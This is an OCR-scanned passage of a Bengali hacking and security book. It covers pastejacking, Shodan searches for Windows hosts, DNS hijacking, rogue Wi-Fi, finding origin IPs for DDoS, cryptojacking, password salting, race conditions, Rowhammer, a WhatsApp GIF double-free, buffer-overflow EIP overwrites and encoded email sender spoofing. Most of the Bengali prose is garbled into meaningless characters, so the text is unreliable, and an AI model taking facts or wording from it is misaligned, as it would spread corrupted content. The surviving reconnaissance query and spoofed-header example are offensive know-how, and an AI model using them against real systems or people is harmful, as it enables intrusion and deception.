> https://security.love/Pastejacking/

# ¥l fF?

% Pastejacking a3 s Sieifd fFeicg wfea 7 20©
AT, SIS BI?

122



———W391 Sired SfF by W3F

T FEA- AT FPTOIE GF6 AT (qdl Meaes o=
WA 2P WETOl I FACR| AN ZBREADG (12 TP
FANYN search Faes| OFH STHIAIRG I FN2-

> 5 @ command & I run FER AR
AL T ]|

&g, ewRAMee @i command © copy st oy @F
Fodd IAC COPY AT AN ¥ A SERARD (AE
command & copy ¢ S#HIE FIToitd paste F9 2[
FIFFg 91 (qTd2 run 3ca e

Fewel- weodq command  run @ @3 T G
STERARGT W SoFE FeoiEd =y information
T @0 A @1, TF 99 &5 backdoor -¢ o I3
fate At

©ig, Q¥ (At Pastejacking @3 A1 I AR, (@2 S«
Zl, a9t SF @ post re Az A sreifr o
ST AR AF AR, [Floiw | G M|

123



———W391 Sired SfF by W3F

Shodan
Toor3St IR

eTIneed 30 Feoid Windows 5939 41 20, (151
St **Shodan** v 3f&t search IR &wce ARCE|
sy Windows 9 392, (& A0 PIeEs @1, SR AN
(AP & e CC FITT QR THRCAG IS [COIR0N T Fl
TR]|

@ 4FF- IO IR FA6 deoid Windows
JFIRRIE 341 20%, G161 siwee Shodan -« s query fore sy
F909 (3- 0S:"'windows" country:BD

GRS IFe SHF O & (&9 ¥4 739 Shodan ===
(| B, TOIFEADGT A A& fTezete fafire scan &1
(R

124



———W391 Sired SfF by W3F

B SR3-AT3

TN S I F SAB-FI2 A | @< F SNB-FI2 92
A [ AT AMEHF O AT T FFA- AT aFSe1
SAR-FIZ TR FACH| A TAF2 (FIT STIPNRG AT
FA0o Biaaw, o492 DNS 7oR @F SRR JeER (i3
SNIGT W3 O & @@ F9@ 58, W= I
SR-FIZ ATHIFT WifeTs ©iF [esa FPIEoIaa W3 AiTeF
DNS “e® 21t set st @eate) ©fF, @i W oA (@i
STIIAIREE AT FACS BIF, O SAZ-FIZ Ve A2 argn
T (12 SIPRGd SR g & @@ F4 @ 5,
SYE-FIZ WfeTd O Nree SN2 QI@eT FAYeFa WOl (A0S
el eERs i (host) @ @Atz ¥dR AL G
Settings @ @R (@, O ACHR YR FCA 6 AW
CFAYCF ACI* FHCO BT O, Ol T IFeT (FAJCF AT &
| O, A T Ol STR-FIR AR I (FLF A0
FAE, O TS A Fe] (FACTF AN FAEF| ©IF, T
A I ATETC fTAte 2eTT 5T AN SAZ-FIR
e FICR|

125



———W391 Sired SfF by W3F

T qfere A7 AGE-Foq AFANY ST N2 AWl | =N,
e qIfere SAR-FIT AFC (Of IR @3 F THEHE0 TR/
3919 T2 S| 8, ©IF 0T 7 A F SOI[EAD (oS
St J e I @ @0 T oenE-wE [k FEH
WIRCe oIt 2Iete A" @3 gy a6 <% m 2= honeypot
a3 7w | sl & &iw, honeypot &2 ve, @ @3-

T oW (iR WiFi 5l 97, 999 oiee SqiR-wig
ATBIET W T | @I 96 IEBIET N 6 Feq 12
ATBIT connect e | (of, K11 T A @Fh @B iF
SYIZ-FI2 IR A bl | O, Sl @iz WiFi ore
3T @BER qCNd qieoid f§9 ¥ connect & &%,
QTS (Sl O AT @, @WOER AT 9FS I TR
G2 YR Mo Fehias T Wetg G1R (R AehIEd
qCF STl | Sdie, (@G Aeo1eER A 'Hotel Taj =6 &2
FIFIs qeoicas qrs 'Hotel Taj' s=ifs 79« 'Hotel Taj'
T AOBICE connNect R ©%F (161 I FIFICIR AS6IF T
AF TIRCAL (12 YIFE A T O M@ FACS A
©l2, I eZ-F12 IR L Ao AT qFS P |

126



———W391 Sired SfF by W3F

IP @& 13 138 330 ME

T AR 3 Qg si=ee [ 8 Fq0o T2 SRl o
Col- W3 GG T8 “APTSAET ol 7 Fg «I; SFtas,
A2 OIS SR QA (A TS BIF; AN (Terey BIp]
facw VPN 51Ri9 e FIIA1Y 56 11 58, @2

TEI- AN W3 QUG S S (23 F4I A=F| AW,
¢/q IZF A AAFE IECO- A3 ATA SN NG (O
o532 T4 W= 7N 8, Sedd wopgPe ayfed [y sias
%3 T TRA| IR befd, (S (3~ SA2AFIF N3 QA SIFCe
I A 5 [ Fa909 A=A

I3 QT 70O ANI-
* S I35

AN (TR, FoRF oiiw [TeReE Wi agd ¢z
ANY G A9 Afe 27| 58, SEIARGT W3fH Gy ~Afiwsy
Y 1| ©IF, STIAAIRGT N3 GG (& [T (72 SHIAREG
&FC @ **DDoS**  wwwe FHACe A AT, TS

127




———W391 Sired SfF by W3F

Cloudflare I5=d 341 &1 @3 T SRIPTZGR T& N2
au@g™ (origin IP) ¢ii7[ 1t | 58, (9@ (TgA- STINRWGA o
SR QT SHCe AAIKCeT SR **DDoS** N (S
FCOI0! Ffo T4 AR

NE AATATE FPACOIET 3P AT TCeTe 58 Sw
%3 T A=A| AATCS!, ST N3 ATEH scan I AL
S feeiRer™ vulnerability s @rean 1811 «riel SioETE
Tou location @Hte W3R SI#[MItF track Fares w3 «igH
(RT T4 AR QA A2FE S BRCA0 FITO! 279 FAC0'S
SR SN2 g & [, @1 wief aigeis (o wifes
@t block T3 (e FBA| WEE, GF0 ACHIF FIRIT F(S
SoMF 25REGd packet capture Fe A=A W, IS
HBIM AR IO YT IR 27 O I2I0F e
*+potnet** tefd Fax @Iz command ™ control Tz
S UG SN NS G5BT AR 207 |

S *JCO! (S OR[IF JA9- fofre s [Kega =iafe e
QT scan I ZCR| ©IF, ARAE R 49 @ T
vulnerability - =9 =7, w35 =3f% @y scan =
e iR vulnerability I feei@smet & @@ o @
e e o|, FTP a1, SSH aw wret snfewm Sy
SN FHAELIE connect 208 Wizl Qe Jres 23|
O, GG @INLFT T Toice P Bl Fa (- ARG

128



——139) eelres sf4F by 3w

G FPE F7 GFIGNE TEN FACR;, AN TAY IS
TET FA TR, O W3 GTEA Ao T A @I (IR
S GUGAD SAFE W2 AT REE set T It o
8 SI@As] e [ToRriR WPl WS, OB SICNwo!
FFOET|

@C T 2 AgH TEEe. @ ST TR giE
qME, A0 JER w11 OF, W2 QTGN SN TGN AT
privacy o= zere g a0, vulnerability - siea
P RS (ACS A | T R GG CNAT FAMNF QPR R
A I, SIAF SN2 SANF 93 (&

129



———W391 Sired SfF by W3F

SNV (A V3T (AT

&S AN (ACF *179 A9 enreR Free Fire cdece @9l )
FIFEIS game (At 58, JIFma game aFaN Seml|
YFEMT game TR JYIF FE gamel 4« (TIS-
hackthebox <ewE=EE oA game e G

DG TS (o FRCOR s AFE | CIETE YIF FA0
AR Sl win 263

Yo Ry 2R- @2 SEEAIRG Sign up RN TS @R
STRE (AtE invitation code T wta @12 code e
sign up F4ce x|

130



———W391 Sired SfF by W3F

E (G
S3AF YPAHT

N S S T [F8, arel T R ek e
AT @12 FIPIEE PR NG T ©IfeTF| FHIC03 *J| G
G QI QF0 GIET AE- (T2 GFECD TR (&I (@I
DIl AT 8, (FC @Hro2 ARE T (T, 9Bl SNE QFC5|
AIFg AR (A1, AIFIER GR-R TR AR

ot Sfgfie Bel-(o (At [OFET @7 JjfE T =eTs, @y
4T LA AIFI TCAR AT ISt e Tz Koz

IRERI&E

S ATM e B 1w 9, (T2 BIFl €& W 1)
@FAENG, EFGEE TSR WGEe (12 e R A |
Fwe, 12 ATM a3 Y@ (BIF7) G T @i Sl |

o

(g, ROFEE R AT UF TGS Y7l FIF|-

131



———W391 Sired SfF by W3F

* @t @9 FET @l Afeifere Y@ [ T (FGE @FICT
CATETR Cole @FB AFIST YEIE (T AET S HF [RoFeaw
AFTCT | EPCO N[N APICCH IS AR ¥IT7 |

* RIS Ot FIFIF A, LT AN Fme o719 [Hee A
8, RO AF @I SIFE ANARNC RO AFCeTS
Fere B Mre @ T 99, @FC TS - @57
QIO |

s My @@ g 79 3

AOTERCTT GIST (AT T4 O AWH-aqWH I T, O
G2 WmME-gweeEs confirm ¥R w0 Iy
#kcomputational problem#** yE Fae W 8,
REFEET (Sf (@@ T[ A Afopiv @21 o8, fog Wy [
ATFE OIS SO e W e wea A | R ot Wwe
AfIe BRI AT A1 9% s [BFeas **+mining**
T | QO (TR [RGIEF #*mining** IF A2
REFEw Toflets Fares| Ime Sas AR S @3 [GFEw
#EMINING** IR T SIHF IO FF I G99 (12
YIF A IEACOR M #*+mining** 349 F& I A€M,
YFRA T T AW Yo ZErE B vires KGR
IR B, TS B OIS ARG N=i AF |

132



———W391 Sired SfF by W3F

fAoscarTs ofvare

RGPCI @9 WCe! =S crypto currency 5 G| I,
AT @ SmE-gniEEt [Ee wigeE qiece [REsea
AT T AEAACH Y| 68, [P AR FACES (@qRY
o ARDT oNeW AT W O}, M W [F @
AR WOBCS ACR? C2Co » =T Wiesl **Jamuna
TV#* Stma @3 oAferany GRTERET- (12 T3 JILEWMR S
0 F WGy RO e wfoe| Qi«s Sasve SItad
Sieqmace PayPal site [Rbswea scst crypto currency

(F! 51 8T FA AR

79 fferca, foy oie 9itad 3T <1, SRy [odcas s
& TR @FEw qfZE #*0neCoin** o amifeen, Tga
it M o1 e Ao eofteT| [REFEm QI ersd T
SPTOPOY ©itF *Ne FAE YA AP REIEE A
AfStaifrel Face **Monero** SIoer| ©qe, REFEw etz
O W7 aifere| SietE » ROFEREH To A wo MY B
RO JoTo WEAR Soited IfRig) 92 AT AT IS
AT JCT 1

133



———W391 Sired SfF by W3F

YNBFRA AR data Q=X

OFEH YIFE T G WIS AT, ©IF ST
code W ST Bt fCd SNoTw e, e wpeewE
L (& SR A ) [ T R T 1 [ = - AGRC | [ | M
WHASAIET code @A, FoF fored 4l 27- ©of g wes
ICA FFCA|

iof 532 metadata s%w witwv? Metadata zo- 3o
file @z e @73 file TifF© A ©2F| @TH-

* file B3 size,
* =79 date,
* (@4 1, user 95|

OFG YT Y9 A& @9 metadata -3 T eI

code Tt LTS At | T, WIETSTIAT TIT FEACHIH AT
([, O WASEL W& @72 @979 metadata -3 9 @
WASTHIET code TE MR FAE QIR G run IS

a1F Google @3 Wl ABHCRR @ ARG 7T metadata
-7 At XSS code & I @l A U018 TR

134



———W391 Sired SfF by W3F

ORT @F6 BRT N text T& FE WS 2afe IHS JACS!
o it @2 efafecd  steganography I = ©E,
A TR ST ANY BRA AR WeAeHwicas code &
3@ faew, 2fReEE zip file afvy stra FPEEIE o)
QI (T3 IO AR AIfNF WEAeWRT @K 'R @S
TSI code T (@ A AT EIRTECE run |

ORTIe T8 ST “mfece data T @ AT | O, 9
file ©ICCeTC Fa9 TN {FAMT AT AAE|

135



———W391 Sired SfF by W3F

FIHCHIR I TSR IR

FEATHT 1T FAIF TN I R A AR SAfowes! Zhre!
Sioqa AHeERe *CR| AWe, hang 2e3, freez zeal aar

crash 399 Tt L AR T8, ATH AT TR SR_EFCF2
BIRR(GRCIGERSTIEY

QY HeI- IR RETR g T (S0 (ST A |

# T 28T T

F[SHICRT YOSTARTE! TF (FIF F& F40@ 517, 4 CPU 2,
AP G0 Preeylel el dea1 @3 Preepes interrupt

signal I &7 3R 9ateT |RQ =12 KN AEPIER IR
RIEN

TS fCeRT &= el =ewr IRQ AtF (@9+-
*RQ 6,
* |[RQ 7 o5

136



———W391 Sired SfF by W3F

58, aawe e AT @, 2 T ey ¢33 IRQ number
ARZE F402| 99 R o 99 2@ A3-

* FHFEABEICT QIR SP1RYT feeIdy Ie 41|
* feiReate AfdFeia install = s

T, & & oz carzg o2 IRQ number TRER F4E; ©FF,
qFg A 2 T [TeRa R Fa F~106F iR (crash)
T

O[, BT @Y interrupt 43 S S, o BIOS
i, firmware <t SMM -9 JI& F9F S8 OGP
interrupt =i, TeE SMI = =11 @3 interrupt et s
T ATTAAE 2T 27, O f@olw Www G interrupt ot
ZETe ARG exit I W ot Serw IS AF | T,
SN S W(Co- QTG gL interrupt 20Ts i 27 =)

*HFIIOOIN B R S fFg Biel-#%

* FTHIRT YOSTIE ANCHT QoHIT S @ program
GFAMTL run FACT |

* BIOS settings ~if<@es Ftee Sas AN ik 7S AN

137



———W391 Sired SfF by W3F

* ELICEE system file &IF St missing 4=eeeT|

ORTIE S8 ST A ABCS | CICHE WAT NGl @0
AN FAF (58 FAET | AT GNAW |

138



———W391 Sired SfF by W3F

BIOS - 340t 54

@ES post s 58, s1sitag POST o &2 BIOS
G BT SSCF AT S (PR ST |

BIOS: Si=a S{Ch1 bie] S 217 F1Co1taa control vea
T BIOS 93 3itzl BIOS @3 Wty S1CoI ofe w@gsyd
settings @R wfe aFesd AN AMCH, @S Sf© @@ ]
ey o= e =A@ sz BIOS @2 ROM @3 Stay Aita-
@61t EPROM <=1 23|

@4i- E 2t erasable @3 e 9 @ oid- (R (TR
@51 P 22 programmable @3 e Fol| T9 oid- Sieffe
T “afore BIOS @3 (AlEN «fiqes Fa0o 2| O , 93
el BIOS @3 update SIHET S (@9 7 T (SOl
e BIOS @3 sty fowa code ferte e s 73

# POST of<r=I

SN S0 b Face BIOS wwred «ss *#POST**

139



———W391 Sired SfF by W3F

s el POST =g **power-on self-test** «3

e Fol @Z POST S€r%d WL ABIR I ZJ- IO
51 (boot) -F4 & TFfH TSI ¢ AFo SR BFF =tg
fere s w9 0% A, s boot loader W =N
fPreew @w9s Windows, Linux o5 load F1 &1 ©3F
A (AACS AR SN SOOI Bl R |

BIOS oic FMICoiad ol 8 JOSWIET VT
3975/ MC57[5 TIZTT FIS F(J|

# ST o

TEE A% FAEE- BIOS @ONF ATCEWR @R O SIS
TFE O 91, & RO Fie Facg, F=@te Fresea kernel
-8 (Sl YIRS TG IR YCSTIET TIIE (T R
JIE (| SR G IS A1y 52

STl %1 BT (I & A0 @ T AILCI-
BIOS sitet, kernel #it<

T=1%, BIOS -2 kernel & load =1 i9, #14<y fewmeg e

140



—— 7291 elceq 839 by MZT
eea- BIOS SioeE FR-Ieoiiad od eema wwew o
it o9, kernel @12 ©27 M2 g Fie | SIS
FITOICT I L & user ACF IR -3 IM QAL GF(0
text T3 @A FE save Fce IW, 939 BIOS =
FC-ferma (@A save T T3- EBIF BT & 8, { o
User & QAL TGIFIAN FFCO AR I CICFCG & GG

et 393 kernel| w99, st g BIOS fter tsg g
Fed Wy SE M AF | @3 #¥POST** 2/ T

BIOS @z video W@® Fe 5« f&o33(F (el 27|

BIOS 202 FTHItad 397 F7IOHICIT beTe SRZITe2 G S

e AT EOE o-8¢ BIOS @3 &l A0F GI3ANY,
FIBI SIATCaib: Beew e, kernel 78 =@ ¢itere BIOS
a7 TGER SN FCOIIT JYCSW[E aCCess FAo
AT | CTE) FCGIE bis] 19 8 DELETE 5+ (237 S<ce
21 (1, FEATHIR @I (otn STl key (2P F0o 2o
AC) | T8, S 7N BIOS @7 [t4ys error SIS AAltE|
©0E, CTatE g BIOS SI#tes e A9 Qe ReAR A
e, Sy FIEC 20 AMF| ANF3 (&€ M /> T fofvs @

BIOS % F4re It (@18 T& F3 (e, ©ixes BIOS 5w
S FICT 1

A2 @, Tz BIOS FF0F [ A 2I%ceT @l -

141



———W391 Sired SfF by W3F

7

BIOS w3 Rifeeilt woemere w1 Ifms, oS
Fresiaecete BIOS @3 «iffare UEF| T5e1e &4 Ttr | 8,
oo BIOS 05 ARSI AR e 5F @we
OZIET S 10 SPTF ACAE S SPNQTE Sd Nigas
JFRIT FAR|

TARR ETAIRTE] & AFe BIOS s¥tH: Of Geotad Ao
ATGE TS A, ST Fi| IR BN ToCO TS 20T Y

T, oW A

142



———W391 Sired SfF by W3F

123456 12 5{f32 731 AHASMT?

S ST (TR APTSTE salting 1, APTSANT w119 ey
AR BT ST

APTeC  salting zz- oNE ST APTSANTT  &FCo
STRAIRD Wi (T2 wiHs g o1 Wia| @3 smafe 2m=-

* A FP- A GFIST create FAG AT ANSAC AR
foTtee- **P@ssw*rd**|

* (I APTSITCT BFCS STIIINIWDA A (AP FExyz*+* forey
e AT FCA, QU SN AP ToA T (I-
*HEXYyZP@SsswWHrd**|

* qyq @ FrxyzP@sswird** @ hash @@ w41 2@ widle,
g AR T ML AT ANSACCE 2-T-J-7-9 A
ST e =1 @NH- SR XyzP@sswErd oirsaretee

hash FACeT G|
db6cd17e9e30ea5ab2b9c49edb48b04ef
(CAIRATTH) |

* AITSTCT @23 hash - SEIFZGT TGRS JATF T4l

143



——139)5 Selres 8f4 by W3F
2@ oRelte WP T4 login M ©=y APTeAe R
P@ssw*rd ferdde, ©dF o (Tl @3 AMSANSd SFCo

Xyz I& I, (13 APees hash @@ w419 79, ™12 hash
I eEEPIR WeafFe hash @3 1 f&eer T, or=eeR login
BISH

APTSI® salting @ RT F1 272

Teds WA T9E login M @y AAPTISAG  fetede, w1
STIIAIRLGT TIGITACE AP APTSACCT A [T i 27- @167
(o5 511 SQL s WIS FC TGS APTSTT Hee
| WA T 92 SQL imEe R I ISR
SIARDGT THAE AFFe AFd  2NeAC  2ferm e
(exfiltrate =ate) ™y 7x 8, SEINRG IWM APTeT©
salting I<e 3w, ©oe SQL @9 Moy SoiEe (A0S
AASTTCT hash T FAETe YT 2T APTSTT FHICw
A | FIT 2AASACA (RIS [T AN ST APTST I,
I S SR 71F (ACF & FF (ST ACR- (6T FIFER
T | TCE, IS ANSTC I 123456 27 @I FIFE IM
fqter @tF 123456 @3 hash @@ F@ 12 srprewced A
fETe 517, Sixes N 91 F9, 123456 ATswied $Fce
STIIAIRD (AT w8 5% foTre (real zae|

144



———w3q1 eITed S5 by W3F

frg, T FE- @I SEPIRG TER & TG login w4
ST | (T8 SIANREG IM @I salt aFifes APTedted eFce
J[ARE T T, O YIBE A AAE- SIS PR
APTSANTT W3FCe & I& Fa MR @99 o1 salt FRIF
I I 2APTSAC TIBITACE FLTHe FAT AR, GTTH APTSATC

P ARCER (S S|

g, = I phishing SERARBE SioE7 2Free e
(T, SIS ANSAG salting Se== &9 SoAFITT ST 1|
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———W391 Sired SfF by W3F

Windows | 2% | 9-0GT

ToWR I3l Fea2 forensic [Reaaees 9 (F- @G Fowd
Sice T MR @2 @R S (N0 OGS SITNE ATIS
Y, (O AWEH TIJ- WOwel| IO FYF (S
FeoIEd forensic IFeT Tgae ®te AR Sfoeeed
AE 2| (1R Afweee! A2 ees Windows F1eoe
oz fog oree Ted @11 (5B IR

# SAPTSC FCOIRE WAW?

Windows sCbits user password el F e A
#*SAM** 9% database file @3 wtay @3 file @z
w2yt encrypted SRER AwCeTS, qFGw  SAREl e
N IO red Fce ?its USB ¢oWgize e live
boot s @3 SAM wiZa U7 w2 “ifFaen FcF Mre AKE|
Gl (ATF TS e oA **gyskey utility** ™
A9 A e ot sEe, syskey utility R w9
SAM w13« @3 w2y decrypt ¥E & SoFE set w4
ATSA® TS T[]
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———W391 Sired SfF by W3F
*#{5g, AN 9T ToFaTeT e 5g **

75T 20z- [Agye 5T oItsT s RAM @3 St A1 A%

data steT ¥w, @Bl ey fF8, SN ST (ATF SFHFICE B
T (BITY (AN Q0 IETHIW IS ICH, (TOICI2 [ BT (NS

data -3 o2 g S S WA @AtF2 I G@oitE **data

remanence** =1 27| ©ig, side channel Si@sces Lyes
OF0 ARG P M IO b TR, IFICoEd

RAM @3 sty ts aredl Windows IIShIe wwrgoyd
data AT I YIF FA1 SAEARGIL TS|

# Windows F=68eTad [Saiorel 37

e W - Windows @9 e5ee &t Linux @«
THG G (OCT W 1o | Re= fFg AFo eI Fea ANFo1
218 AP wify (Mamun) QI=5T e (4 =)

@AV - aF0 AoSWIET 2 T ofy w93
Windows @3 & Wi@S 0 Linux 493 &1 CIosW@
Windows 43 &9 Fg vulnerability (zero day) =mesa

eitsm Windows SRt AT ST IS 2041 €3 397 Linux
ST CFE@S AT TR WHEE, 932 ARSI IW Linux
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———W391 Sired SfF by W3F

@R Windows ©o3 IIEbita2 AR F4 T (Cross
platform) eizwa, i3 AwoeWR AEFo@ Linux 93 o
Jreipg f=rem 21, Windows @3 =18 Sl 24|

# IS BT R [FeIa?

ey FeICe, Ao ¢ Ao fFg Jafore e =T ACOIBT AR

TS AR, TgH &l ore I A T @y At eiRare

RTS AR T QTHF FIOOICE WIS I, S2A [FOIA 5

FA(=- (618 reverse engineering/ debug 41 7@ 21 1;
2, PIBIAR (NCIfice forensic AtaFel 3¢ AT F(A|

e, i E oo fJarm A @ ey @21 3,
FEATOR PICET TRRT 41 (=T (7, SILAR (T e
(IS {7 A |
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———W391 Sired SfF by W3F

LB I

a3 e@enes  Race-Condition == vulnerability
(g&eTel) AFCE, R fFF aFANL I3 YIF I A=) O, WA
STIIAIRG SZ, O e @A 21t rswa ermae35 T5ie
3 e

e oG SIEDAl I | T IFA, SN QFh  SIARDB
aFTT create IA@| CTSH SFCOZ 3CVIT QT G2
APTSTC MC® (A1 @999, (T8 WIS g verify 91 &
Wi 3wace @3 verification o we i fws 5
FACAR 302 QA verify =3 3|

&g, 72 verification fereE ST #i7 Sy wite f§F Fae1y 71

2, STIIARG AN OFOrod 33 ARKey F9 T
Change My Email S#™it f§F 9111 @99 S QTS
33 g feltd send FFEIN| T, STIIAIRG (AF (13 TG
3N G verify IR o 2= o1 Aot 7@ 5g, ¢
3R (of SN 7| w13, verify Fa9 s =ifar «iar =)
o8, SINE SR 9GRS fwes 2ewga verify 99
e arIfReeT W3R (12 ot wify weqs 5 a6 ) oIws Iw
A1 TR- 9CIRAMRW Race-Condition s vulnerability
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———W391 Sired SfF by W3F

IR

©I2, SINE FICR FF T &) o 2 B e qeaee-
* e Woed 3cwae eiget =T verification fores

* I NI QG GF A0S A W3 GiEA set FA
e Validate New Email as siomitas fores (@i 59
aaca verification feres ie1q) |

Qs N @FE R B e e 96101 TeeT, SEaoass
COTET W FCI- A TG 92T At verify s foiees 5
IR FRA, GFEB (S AF5I3|

**ﬁ@, ek *

QT SRIALA (AT (FLTI- SNy 3z verify 397 forees
fFT ARl T, SFIINRGE @S SAWE 2ewaa verify =
) o8, W a2 TN 303 Afiqes w9 foices 5
Rl we, e verify @ 093, 58 @ 33w
SR T 3cwee verify 26a) =5, G2 3003 Cof S 1|
©l2, qOIF (FIF FeF N2 QA M aF1eT create 41
qME QIR GFICT PR I (FIF AL FACE, AL AT
[ TN TR e Aol
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———W391 Sired SfF by W3F

Row hammer - IFCbItR 2P

JICeWT Fife @ Wy IFEANT e 2 Rowhammer
S| Q3 S FPCHIER T M AT M 2AGH BT FACO
2| OCF, ANy ANSJ Tgd T (BT FAT I9M= 71| 706 TG E
G- OIR(FR ™8 Gl CoAT I |

Row hammer Sy

it 6312 Eitaw- (Iifice A data o= JIgtes e
col, FIC0IET RAM @ @99 (MATS AKES- FICET 92 99 B
@l fog bank stz wetsE Wy data s = (frow
fReTE*) A @i @@ W @3 row ¢ A data IR
access o ACF ©IRCA, GG ANY (12 row 4, kg
ST row 99 (agsfes data sifae = T

@%- Windows I8Bita <R app a3 & (Ieifas e
R ACF 7, Feed v kernel memory e Wme
AT ACF | 9 FIHeT FOR OO A FNO B!
Q3G Al Q¥ €P=- @36 app e A== data @t
FACS ARCAS AT AR (Wed FreR) fog Fadaf
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———W391 Sired SfF by W3F

access 4o 77T 71| 58, app 97 data «@ CkE @2

row (o g, (AT JK9<19 accessS I WL [(gyhes
ISR LI I AN data “IfFaed 47 727 © AT
ORI, AETIFEN A FECOET F  sensitive 2
2ifery fAree 7Y Zr@ At

SAE, AFEC (RIS 20 (TRISCEE root access «sqNe
R }Y| (TR W@ F*Drammert®® S
(*Deterministic Rowhammer*) = A
S5 Al USB o M (TR13s ye a2 @Bl 1
BICHl

o 2oR- W7 275 (RAM) @3 @2 2 6 row (s I="

access 9w, (18 gt memory address s e
TN FACO A1 JALR, A JFIE CTAT access FAE
(TE WF 2R- G AT ([@gyfed Praegler qea) a2
SR O FIE ZOR- (AT S FACA, SR ST row
a1, wifsa efs e @ RAM @3 vulnerability «i<see,
QFANY ETIET data “kaed 2 A @3 A=A oI Aeas
FifeFe AT

O o FFeog g &F TooewR IR I O]
SEN I SERGI2 AT | GNP, AoFF CoReE A
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———W391 Sired SfF by W3F

access =1 (teTs, QU (AtE **Javascript** @ e 3
Rowhammer Si@se 41 5@ | ©i%, A[LI« G|
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———W391 Sired SfF by W3F

Facebook - Whatsapp 21

Facebook ziff: «3 &y SI™ge et FiNs i o1 8y &Y
DIl 2% (0| (T3 Y WieEaee e GIF »nfoca
Whatsapp 5<aR<€E (i3 ¢#) control e 1
R | oY &03 SSF HARErOIS AT FAE!|

# Facebook zjifsse

Facebook wifer «a emfelt feenl @3 @ o=
**TheFacebook** FIws <6 SFF WlFI7 TR 27|
@ity SavePassword 7itw st page feeet, @i fofF
(FIGE GIICCBF USer name S| (a1 (12 USer name
QT ASTC RO FACO TFHA AR |

# Whatsapp i<

s 799 Whatsapp <29 36 =8 ied chatting s,
o emoji, GIF Toifr wiws %2 send Face | @3

GIF o TGz FIFE AN (WIQI3ETs e2« control
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———W391 Sired SfF by W3F

e «Ren

GIF 2= @IfFg <9 7=, (TR AR 29 GF SPCe AB/E
video -7 Wter (1 W1 U 2RSS Size 7Y W Jrel-

> 1220X800

Q4 800 == MY @3 1220 Tz &7 vFce GIF @3 a2
216 (REET oifars WmE s e allocate a1, we
IE @I (T2 GRHIC2 27 RRTE] SPre AE 3 foftes
el play zce A4t 5g, 9T =@ gEw @ okeSt g}E
size @M 2¥, ezt Feu R @k @2 9 7 @
S(2- P12 FIF 7 (Ree e (qrenfs free F40a) W oiws!
BRI iface gw @ swel allocate 9@ A, WHe F4E)
«oItE **reallocate®* I=1 &7

&8, T TR- ISAM BRE QAR Tgd BRE MG A AT
(AP G T Ze12 g wed U2 reallocate w1 23|

w2, Feu 279 size I 3X3 =¥

o4, A9l 279 size I 5X0 27, oiREe @ifce T 3
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———W391 Sired SfF by W3F

SR W Bl S|

o125, 5X0 =2 0 1, *751 T, Jou 2R (e @2
3X3 Al FFel 7Y Fed Aoy, (R S free 23 A,
ferg, el =<9 size @tag 5X0 3, ¥45; ST, TgH &I Sl
wee 1 7 A0 o9, Whatsapp e send =t GIF 22 I
parse ¥| T, 43 (F@ 2T parse 93 Ay 5X0 FA2eew
FE ornfsa WfWE s (buffer) & @9 vy free 2= =,
[Fel parse ¢ I (el e g TR giwe (i
Mty Fhowd code foTite MBI 7| WA RCS SRl 20
©ig, Reifte s@fe /1 e, 92 @b Whatsapp 4« feen =1

72, android @3 vty F=IfFe fererm o2, Whatsapp @@
o o1 ria =1 )

SEE @2 R O YIFIE FA SN, O (TSl S PR
SR, A o I & 7 I, [Wiow L & e FE|
QTR AN TR | 47|

Q0D ATCE AT 1.

156



—— 7291 elceq 839 by MZT
FRRTR AT SRYT
1,094,795,585

G 1 T B s O [ < S 1 0| YA © A < [ < N k< N S
1,094,795,585| So [ @7 I SFCO (GLARCETH | AEF
T&d SNl

St few3 FeeT firdtes @, Swar @2 0, 1, 2, 3 7290 26
3fq, ereter 7o' decimal 312 SlE, SCo1F vgwig 0 W
1 WRRE I, @GS =11 7Y binary 2| SIS SBICI HLG0
witR, (61 7= hexadecimal s

geEma de @2 decimal Fp® fom, GoT z0m-
1,094,795,585)

# 7 fo 2exd F9

ol 7 fafre MR ETPNRG & o TR 2t AP OIRCe,
532 witaw- Te o =iy buffer overflow %@ post
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——13917 lred s by M3F
FCARET | G ICAREA- "FACHE OF(0 FIS Y I 2
3T FIE A9 & (12 Feed 5 A1, address & CPU @3
EIP Tis @fere[ (A0 MR I WK, TF0S|ICE ANSTE 1,
Sifeg fo1ed input mem® WY @R input @ St W
WASTR T AT 7 @3z EIP @fe2ng ¢ wieswiEd

e o (e T, IR FPATHR (12 WITSTHRCEFS run
FJCQ "

T8, 9Foq YFRE FOE@ RE- APSTCCT AL @10
WIS (&I =6 EIP ¢ Aita?

G5 [T T T FFE G2 WESWIET  GI0 o
EAAAAF* forre It o9, 9B TEoSTE M TS AH-
APTSTE e Ao =19 EIP e AAAA @oif5 ¢ofteez )
I 1 Atz AeF oreeT, AAAA @I Sy @i e«
GO I B3 1 79 @9y EIP @fer=ica AAAA &ifs
Al TE T, YIFEF RS AR[E @, 9339 AAAA @R
Tl FACR, (T2 I Wperewmicas address &0 Ao =3,
wizeeT EIP @fer2ica syierewnieas address o7l 203 [td | e,
FCOR (T3 WeAeTed address @F WHASTR[CE run
|

OTH@ YT 0, FECOF AT »ama w5 AAAA fecy
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———W391 Sired SfF by W3F

A @36 2ifSra S a1, @eas 7w fitaez) ©@, @3 AAAA
G FEITHICE A B ascii encoding  “ahsts

41414141 TS FP Feiee T @ I, (12

414141471 @RI AACE IM SRS TR AT
Ao (EPICIE ke A =W, SO OBl S

1,094,795,585 i 470 312471
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———W391 Sired SfF by W3F

32T 9T NERI

AR oA (e @renfie T gmr e A Ans-
BT IR Tt | 78, 30N QIR ST IW (FFeRs @
T ACF? Y, ARG AN @IFWo! @l Feez) g Fea
QBT BCACR, (167 FNT6 Srgrdl <1 =CeTl-

97> 22 open FA (12 3ewee R AfSrare, oF 3T
QTG HI6E ST (1T AMC-

From: admin@gmail.com

92 @ I F-QC FRYT F@ fordees; @ @A [ifey
encoding IR ST FETGIE save =1 58, IFF Qi
a3FifeF encoding IRIT FE Mo TNeA @A ANER
IR WS, N3 YT UFIfEF encoding TR 1 |
&8, g9 encoding “&fs e wcel forcd @G space forcd
7 encoding “&fete forete 23-

=?charset?encoding?encoded-text?=

©ig, TRe T macron tech@gmail.com fts w13
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———W391 Sired SfF by W3F

feTete 2(4-
=?UTF-8?Q?mac=C5=990n ?= tech@gmail.com

wdfle,  **pcharsety** e UTF-8  feref,
**9encoding?** fere Q ferdle, «wo@ **macron#**
(FTE T 0T 3dece mac ordfR) SReR F @R &
#*=C5=00** ferrale| e we fFg faw I+ 2z (56,
S[CHE JATS F8 J(J I3, CTTE I 1|

COl, YIFF OFF ICAZE QG Q3 ARG SqeTF FACES TR
GG FAN (43 #%) o™ T, FECHR LT YIPICAA 20N
